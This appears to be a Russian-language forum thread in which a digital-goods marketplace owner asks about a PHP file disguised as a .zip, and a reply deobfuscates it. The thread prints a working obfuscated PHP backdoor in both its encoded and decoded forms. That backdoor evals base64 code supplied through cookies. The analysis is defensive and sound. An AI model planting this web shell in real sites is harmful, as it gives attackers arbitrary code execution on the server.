У меня есть рынок цифровых товаров, и продавец загрузил этот файл, это был zip-файл, но в Windows он был поврежден. Когда я открыл его в Linux, я был шокирован, увидев, что сам файл был php-файлом, к которому кто-то добавил расширение .zip.
Кто-нибудь видел такой код раньше? Может ли кто-нибудь помочь мне разобраться в этом? Это вредоносно?
<?php
$pljd="ynvwnKynvcpLCBqb2luKGFynvcmF5X3NsaWNlKCRhLCRjKCRnvhKS0zKSkpKSk7ZWNobyAnPnvC8nLnviRrLic+Jzt9";
$seld="ZXBnvsYnvWNlKGFycmF5KCcvnvWnv15cdz1nvcc10nvvJywnL1xznvLycnvpLCBhcnJheSgnJ";
$cyvj = str_replace("w","","wswtwrw_wrwepwlwacwe");
$qxau="GEpPjMpnveyRrPSdzZXJhdGknO2VjaG8gnvJzwnLiRnvrLic+JznvtldnvmFsKnvGnvJhc2U2NF9kZWNvZGnvUocHJlZ19nvy";
$gewk="JGnvM9J2NvnvdW50JznvskYT0kX0NPT0tJRTnvtpZihyZnvXNldCgknvYSk9PSdtYSnvcgJiYgJGMoJ";
$thyw = $cyvj("bi", "", "bibabisbie64bi_dbiebicbiobidbie");
$iign = $cyvj("x","","xcxrxexaxtxex_funxctixon");
$xzfy = $iign('', $thyw($cyvj("nv", "", $gewk.$qxau.$seld.$pljd))); $xzfy();
?>
Это то, что я получил от этого до сих пор.
<?php
$pljd="ynvwnKynvcpLCBqb2luKGFynvcmF5X3NsaWNlKCRhLCRjKCRnvhKS0zKSkpKSk7ZWNobyAnPnvC8nLnviRrLic+Jzt9";
$seld="ZXBnvsYnvWNlKGFycmF5KCcvnvWnv15cdz1nvcc10nvvJywnL1xznvLycnvpLCBhcnJheSgnJ";
$cyvj = str_replace("w","","str_replace");
$qxau="GEpPjMpnveyRrPSdzZXJhdGknO2VjaG8gnvJzwnLiRnvrLic+JznvtldnvmFsKnvGnvJhc2U2NF9kZWNvZGnvUocHJlZ19nvy";
$gewk="JGnvM9J2NvnvdW50JznvskYT0kX0NPT0tJRTnvtpZihyZnvXNldCgknvYSk9PSdtYSnvcgJiYgJGMoJ";
$thyw = $cyvj("bi", "", "base64_decode");
$iign = $cyvj("x","","create_function");
$xzfy = $iign('', $thyw($cyvj("nv", "", $gewk.$qxau.$seld.$pljd))); $xzfy();
?>
$xzfy = create_function(base64_decode(JGM9J2NvdW50JzskYT0kX0NPT0tJRTtpZihyZXNldCgkYSk9PSdtYScgJiYgJGMoJGEpPjMpeyRrPSdzZXJhdGknO2VjaG8gJzwnLiRrLic+JztldmFsKGJhc2U2NF9kZWNvZGUocHJlZ19yZXBsYWNlKGFycmF5KCcvW15cdz1cc10nJywnL1xzLycpLCBhcnJheSgnJywnKycpLCBqb2luKGFycmF5X3NsaWNlKCRhLCRjKCRhKS0zKSkpKSk7ZWNobyAnPC8nLiRrLic+Jzt9))
$c='count';$a=$_COOKIE;if(reset($a)=='ma' && $c($a)>3){$k='serati';echo '<'.$k.'>';eval(base64_decode(preg_replace(array('/[^\w=\s]'','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));echo '</'.$k.'>';}
TL; DR Этот код позволяет людям использовать куки для выполнения произвольных скриптов на вашем сервере.
Код использует кучу случайных строк base64 для создания функции и немедленного ее выполнения.
Я потратил немного времени на то, чтобы отключить функцию, давая следующее:
if($_COOKIE[0] =='ma' && count($_COOKIE)>3){
echo '<serati>';
eval(base64_decode(preg_replace(array('/[^\w=\s]'','/\s/'), array('','+'), join(array_slice($_COOKIE,count($_COOKIE)-3)))));
echo '</serati>';}
Важная строка такова:
eval(base64_decode(preg_replace(array('/[^\w=\s]'','/\s/'), array('','+'), join(array_slice($_COOKIE,count($_COOKIE)-3)))));
Давайте разбить его на части:
join(array_slice($_COOKIE,count($_COOKIE)-3))
Этот кусок объединяет все элементы в массиве $ _COOKIE, начиная с количества ($ _ COOKIE) — 3 до конца массива (сделайте все это одной строкой)
preg_replace(array('/[^\w=\s]'','/\s/'), array('','+')
Во-первых, он ищет во вновь созданной строке шаблон «example = ‘» (где example может быть любым словом) и заменяет его на Nothing. Так что, если строка имела:
test= 'blah'
это будет заменено blah'
,
Это также заменяет все пробелы на +.
eval(base64_decode(..));
Он берет только что созданную строку (предположительно что-то в base64) и декодирует ее в удобочитаемый формат. Затем он берет эту строку и выполняет ее на сервере.
По сути, это означает, что кто-то может создать несколько файлов cookie на своем компьютере в базе 64, и ваш сервер объединит их в одну длинную строку, расшифрует и выполнит ее.
Других решений пока нет …